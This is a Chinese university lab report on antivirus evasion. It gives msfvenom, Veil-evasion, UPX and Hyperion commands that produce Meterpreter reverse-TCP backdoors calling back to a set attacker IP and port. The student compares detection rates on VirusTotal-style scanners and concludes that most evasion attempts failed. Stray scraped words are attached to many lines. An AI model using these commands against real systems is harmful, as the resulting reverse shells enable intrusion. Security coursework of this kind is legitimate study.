Exp3 免杀原理与实践 20164309

实践内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧

1.1MSF编码器

直接使用上次实验的20164309_backdoor.exe试试php

看来文件名违法了,那更名为164309_backdoor。java

更名后直接被清理。。看来裸奔的后门的确很差使。python

 

找回文件添加进信任区,对其进行扫描shell

 

virscan57%的杀软报毒编程

有业界毒瘤之称的百度杀毒没查出来。。。(可喜可贺的是百度杀毒于去年11月份中止运营)vim

 

再在virustotal上试试,51个杀软报毒windows

 看来大部分正常的杀毒软件都可以识别直接用msf生成的病毒网络

 

 

 1.2veil-evasion

 输入sudo apt-get install veil-evasion  下载veil-evasion工具tcp

 

在尝试过老师的实验指导同窗的实验报告和网络的各类方法以后,我花费了一天仍是没有展开那几个veil文件,拷贝了同窗的kali使用veil进行生成。函数

输入 veil 进入veil工具

输入 use evasion 进入veil-evasion

输入 use c/meterpreter/rev_tcp.c 选择C语言、tcp端口、反弹回连

输入 set LHOST 192.168.236.131   set LPORT 4309 设置反弹ip和端口

输入 generate 生成文件并命名为4309_veil

扫描发现仍是报毒

 

 

 

1.3msfvenom生成php和jar

 分别使用

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_java.jar

 

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_php.php

 

 生成php和jar的shellcode文件

 

 php表现较好

 

但这个不是可执行文件,没有可比性

 再看看jar

 

virscan(7/49) virustotal(33/57)严重怀疑virscan放水

 

 1.3shellcode

 

输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 -f c 生成后门

 进入 vim 4309shellcode.c 进行修改,加上函数头、主函数与文件头,完善为合法的C语言文件

 使用 i686-w64-mingw32-g++ 4309shellcode.c -o 4309shellcode.exe 使其生成可执行文件

 

 

电脑上的腾讯管家并未报毒,共存成功,那运行岂不是也能成功了?后来发现结果发现的确如此

这就算实现了???(后面发现并不是如此)

 

1.4使用加壳工具

输入 upx 4309shellcode.exe -o 4309shellcodeupx.exe 

腾讯管家没有报毒

 

任务二:经过组合应用各类技术实现恶意代码免杀

再对该文件进行加密 cd /usr/share/windows-binaries/hyperion/ 

  wine hyperion.exe -v 4309_upx.exe 4309_upx_Hyperion.exe 

加密以后报毒猛增!

 

看来杀软多是根据压缩、加密壳里的字段进行判断是否为病毒的

 运行看看

 

拷贝时没有被查杀,可以共存,但运行时出现了问题,看来腾讯管家仍是有一些用的,放入白名单,发现回连成功。

 

 

再在虚拟机上复现,发现仍是没可以实现回连(除非白名单伺候)

看来在2014年的腾讯管家就对其有必定的限制了,我认为对于不加壳的是反汇编分析源代码内容,发现程序头文件调用系统资源;而加壳加密的是直接查找有关的特征代码从而查找出病毒

免杀路漫漫,我仍是试一下python能不可以实现吧

 

使用

use python/meterpreter/rev_tcp.exe

生成python文件试试

 

 

输入 pip install pyinstaller  pyinstaller -F 4309py.py 对生成的文件进行编译,转换成exe文件

 

???仍是失败

 

那我想试试加壳到底能不能帮助免杀呢???

源文件采用上学期的操做系统实验代码

 

这都给我报毒???

改为英文名在kali上加壳加密

使用  upx caozuoxitong.exe -o caozuoxitongupx.exe 进行加壳

使用 wine hyperion.exe -v caozuoxitongupx.exe caozuoxitongupx_hy.exe 进行加密

大好河山一片红。。。

 一个普通exe文件经过压缩加密以后反而报毒更多,看来刚刚的猜测被证明了,杀软经过壳里的特征码来进行杀毒的!!那在不手工修改代码的状况下确定是难以实现的了。

 基础问题回答

1.杀软是如何检测出恶意代码的?

经过编译恶意代码,或者发现其中的特征代码以实现,就像本次实验中的加壳反而会被报毒;

经过代码运行时的行为,就像本次实验中有的能与杀软共存,可是一旦运行仍是会被清理;

2. 免杀是作什么?

经过一些手段使恶意代码不被目标主机发现

3.免杀的基本方法有哪些?

手工对恶意代码进行更改,研究病毒库中的特征码,再对特征码进行更改

4.开启杀软能绝对防止电脑中恶意代码吗?

不必定,可是大部分的可以防止,杀软的病毒库是根据检测出来的病毒更新的,所谓道高一尺魔高一丈,恶意代码总有新的漏洞能够利用。

 实验感想

根据本次实验,以咱们大多数人如今的水平,尚未达到经过编程直接生成病毒来实现入侵的水平,就算有,经过杀软经过编译假装好的病毒也可以找出问题。而实验中的常规方法早已被各大杀软摸清楚底细,并且像咱们用meterpreter生成的shellcode文件在运行时会生成meterpreter.o文件,这是调用系统资源的必要步骤,因此也许咱们的后门可以共存,可是在不改变其根本结构的状况下不可能进行免杀,不管是对shellcode进行异或仍是加壳最后编译完成的机器码是确定会被检测出来的。而对于那些壳来讲(尤为是加密壳)咱们越是使用它反而被查杀的概率越大。尽管我没能完成回连,可是我用尽了我可以想到的方法,最起码作到了心安理得

相关文章
相关标签/搜索